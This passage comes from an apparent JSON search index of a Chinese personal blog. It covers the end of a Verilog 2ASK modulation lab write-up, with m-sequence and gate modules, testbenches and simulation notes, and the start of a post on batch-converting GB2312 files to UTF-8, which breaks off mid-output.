punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e7\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e13\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e12\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e11\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e9\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e14\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e13\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e12\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e7\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e14\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e13\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e14\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e12\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003edefault\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eendcase\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003etestbench\u003c/code\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token comment\"\u003e//~ `New testbench\u003c/span\u003e\u003cspan class=\"token constant\"\u003e`timescale\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003ens \u003cspan class=\"token operator\"\u003e/\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003ens \u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e tb_mxulie\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// M_series Parameters\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eparameter\u003c/span\u003e M_len \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// M_series Inputs\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// M_series Outputs\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e m_sequence \u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways\u003c/span\u003e \u003cspan class=\"token number\"\u003e#10\u003c/span\u003e clk\u003cspan class=\"token operator\"\u003e=~\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003emxulie #\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003elen \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e M_len \u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003emxulie_inst \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eclk \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003em_sequence \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003em_sequence\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e仿真波形\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/m%E5%BA%8F%E5%88%97.png\" /\u003e\u003ch3 id=\"4-键控开关\"\u003e\u003ca href=\"#4-键控开关\" class=\"headerlink\" title=\"4.键控开关\"\u003e\u003c/a\u003e4.键控开关\u003c/h3\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/%E9%94%AE%E6%8E%A7%E5%BC%80%E5%85%B3.png\" style=\"zoom:50%;\" /\u003e\u003cblockquote\u003e\u003cp\u003e键控开关示意图图上图所示,其中data[7:0]端输入载波信号,gate端输入基带码元,当gate信号为1时,载波信号通过,如果gate信号为0时,载波信号不能通过。模块的输出端q[7:0]输出2ASK已调信号。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003ccode\u003elpm_gate.v\u003c/code\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e \u003cspan class=\"token function\"\u003elpm_gate\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e gate\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e7\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e data\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e7\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e q\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e q \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e8'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways@\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003egate \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e q \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e data\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e q \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e8'b01111111\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// +127将0变换过去\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch2 id=\"整合以及整体仿真\"\u003e\u003ca href=\"#整合以及整体仿真\" class=\"headerlink\" title=\"整合以及整体仿真\"\u003e\u003c/a\u003e整合以及整体仿真\u003c/h2\u003e\u003cp\u003e将以上各个模块添加进实验给定的模板,并生成原理图,然后连线。\u003c/p\u003e\u003cp\u003e要整体仿真,所以要先把原理图转换为 \u003ccode\u003eVerilog\u003c/code\u003e (File -\u0026gt; Create \u0026#x2F; Update -\u0026gt; Create HDL Design File from Current File…),之后从工程文件移除原理图,设置生成的 \u003ccode\u003everilog\u003c/code\u003e 文件为顶层文件进行编译,然后仿真。\u003c/p\u003e\u003cp\u003e通过对比编译出来的 RTL 视图,符合给定框图。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/twoask.png\" /\u003e\u003cp\u003e整体仿真,只要注意 \u003ccode\u003eclk\u003c/code\u003e , \u003ccode\u003em_squence\u003c/code\u003e , \u003ccode\u003etwo_ask[7...0]\u003c/code\u003e 这几个信号就行。 \u003ccode\u003etestbench\u003c/code\u003e 如下:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token constant\"\u003e`timescale\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e tb_sim\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e m_squence\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e7\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e two_ask\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways\u003c/span\u003e \u003cspan class=\"token number\"\u003e#10\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003etwoask \u003cspan class=\"token function\"\u003etwoask_inst\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function\"\u003eclk\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function\"\u003em_squence\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003em_squence\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function\"\u003etwo_ask\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etwo_ask\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e仿真波形:\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/%E6%95%B4%E4%BD%93%E4%BB%BF%E7%9C%9F.jpg\" /\u003e\u003ch3 id=\"管脚分配\"\u003e\u003ca href=\"#管脚分配\" class=\"headerlink\" title=\"管脚分配\"\u003e\u003c/a\u003e管脚分配\u003c/h3\u003e\u003cp\u003e管脚分配啥的给的模板文件里已经分配好了,直接用就行。\u003c/p\u003e\u003ch2 id=\"总结\"\u003e\u003ca href=\"#总结\" class=\"headerlink\" title=\"总结\"\u003e\u003c/a\u003e总结\u003c/h2\u003e\u003cp\u003e毕竟是主要是记录 \u003ccode\u003everilog\u003c/code\u003e 的一个学习过程,剩下的就不分析了,属于是实验报告里的活。这算是第一次用 \u003ccode\u003everilog\u003c/code\u003e 干这种比较综合的活?接触到了一些新玩意,IP核,mif文件之类的。也锻炼了从s一样实验指导手册里提炼信息的能力?\u003c/p\u003e\u003cp\u003e\u003cdel\u003e(然后细节和要补充的等后面想起来再说\u003c/del\u003e \u003c/p\u003e\u003cp\u003e \u003cdel\u003e(我超突然想起来线下验收完忘了拍时域波形\u003c/del\u003e\u003c/p\u003e","url":"https://blog.ksfu.top/posts/5f6b/"},{"title":"批量转换文件编码gb2312转utf-8","time":"2022-08-10T09:32:11Z","content":"\u003ch1 id=\"批量转换文件编码gb2312转utf-8\"\u003e\u003ca href=\"#批量转换文件编码gb2312转utf-8\" class=\"headerlink\" title=\"批量转换文件编码gb2312转utf-8\"\u003e\u003c/a\u003e批量转换文件编码gb2312转utf-8\u003c/h1\u003e\u003c\u003chr /\u003e\u003ch1 id=\"批量转换文件编码gb2312转utf-8\"\u003e\u003ca href=\"#批量转换文件编码gb2312转utf-8\" class=\"headerlink\" title=\"批量转换文件编码gb2312转utf-8\"\u003e\u003c/a\u003e批量转换文件编码gb2312转utf-8\u003c/h1\u003e\u003cp\u003e\u003cdel\u003e锟斤拷烫烫烫\u003c/del\u003e\u003c/p\u003e\u003cp\u003e这几天网上找代码学习用vscode打开之后中文全是乱码,转换编码为 \u003ccode\u003egb2312\u003c/code\u003e 后才正常显示,之前也因为这玩意狠狠的踩坑( \u003ccode\u003eKeil\u003c/code\u003e 默认的编码对中文来说太坑了。但是一个工程里文件很多,所以就需要一个批量把这些文件转换为 \u003ccode\u003eutf-8\u003c/code\u003e 的脚本。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/gb2312/1.webp\" style=\"zoom: 67%;\" /\u003e\u003ch2 id=\"参考博客\"\u003e\u003ca href=\"#参考博客\" class=\"headerlink\" title=\"参考博客\"\u003e\u003c/a\u003e参考博客\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/a417655340/article/details/124460824\"\u003e批量转换文件编码gb2312转utf-8_每天一罐可乐的博客-CSDN博客_批量转换编码格式\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/qq_42336581/article/details/125776879\"\u003epython 递归遍历目录下的所有文件_Joy-\u0026gt;Boy的博客-CSDN博客_python递归获取文件夹下所有文件\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"关于文件编码\"\u003e\u003ca href=\"#关于文件编码\" class=\"headerlink\" title=\"关于文件编码\"\u003e\u003c/a\u003e关于文件编码\u003c/h2\u003e\u003cp\u003eb站上找到的这个视频挺好。\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.bilibili.com/video/BV1U5411d7FB\"\u003e「烫烫屯屯锟斤拷」揭秘ASCII、GBK、UTF-8,B站独家,一听就懂\u003c/a\u003e\u003c/p\u003e\u003ciframe src=\"//player.bilibili.com/player.html?aid=468972234\u0026bvid=BV1U5411d7FB\u0026cid=715388833\u0026page=1\" scrolling=\"no\" border=\"0\" frameborder=\"no\" framespacing=\"0\" allowfullscreen=\"true\"\u003e \u003c/iframe\u003e\u003ch2 id=\"脚本\"\u003e\u003ca href=\"#脚本\" class=\"headerlink\" title=\"脚本\"\u003e\u003c/a\u003e脚本\u003c/h2\u003e\u003cp\u003e其实网上随便一搜就有好多,试了一个效果不错,但是只能转换根目录下的文件。于是我稍微做了点修改。\u003c/p\u003e\u003cp\u003e效果还是不错的\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003e运行结果\u003c/summary\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\" language-bash\" data-language=\"bash\"\u003e\u003ccode class=\" language-bash\"\u003e请输入要转换编码的文件夹路径:C:\\Demo_OLED_STM32F103RCT6_Software_IIC===============================================================fileName fileEncoding===============================================================core_cm3.c GB18030core_cm3.h GB18030iic.c GB18030iic.h GB18030bmp.h GB18030oled.c GB18030oled.h GB18030oledfont.h GB18030RTE_Components.h GB18030misc.h GB18030stm32f10x_adc.h GB18030stm32f10x_bkp.h GB18030stm32f10x_can.h GB18030stm32f10x_cec.h GB18030stm32f10x_crc.h GB18030stm32f10x_dac.h GB18030stm32f10x_dbgmcu.h GB18030stm32f10x_dma.h GB18030stm32f10x_exti.h GB18030stm32f10x_flash.h GB18030stm32f10x_fsmc.h GB18030stm32f10x_gpio.h GB18030stm32f10x_i2c.h GB18030stm32f10x_iwdg.h GB18030stm32f10x_pwr.h GB18030stm32f10x_rcc.h GB18030stm32f10x_rtc.h GB18030stm32f10x_sdio.h GB18030stm32f10x_spi.h GB18030stm32f10x_tim.h GB18030stm32f10x_usart.h GB18030stm32f10x_wwdg.h GB18030misc.c GB18030stm32f10x_adc.c GB18030stm32f10x_bkp.c GB18030stm32f10x_can.c GB18030stm32f10x_cec.c GB18030stm32f10x_crc.c GB18030stm32f10x_dac.c GB18030stm32f10x_dbgmcu.c GB18030stm32f10x_dma.c GB18030stm32f10x_exti.c GB18030stm32f10x_flash.c GB18030stm32f10x_fsmc.c GB18030stm32f10x_gpio.c GB18030stm32f10x_i2c.c GB18030stm32f10x_iwdg.c GB18030stm32f10x_pwr.c GB18030stm32f10x_rcc.c GB18030stm32f10x_rtc.c GB18030stm32f10x_sdio.c GB18030stm32f10x_spi.c GB18030stm32f10x_tim.c GB18030stm32f10x_usart.c GB18030stm32f10x_wwdg.c GB18030delay.c GB18030delay.h GB18030sys.c GB18030sys.h GB18030gui.c GB18030gui.h GB18030main.c GB18030stm32f10x.h GB18030stm32f10x_conf.h GB18030stm32f10x_it.c GB18030stm32f10x_it.h GB18030system_stm32f10x.c GB18030system_stm32f10x.h GB18030test.c GB18030test.h 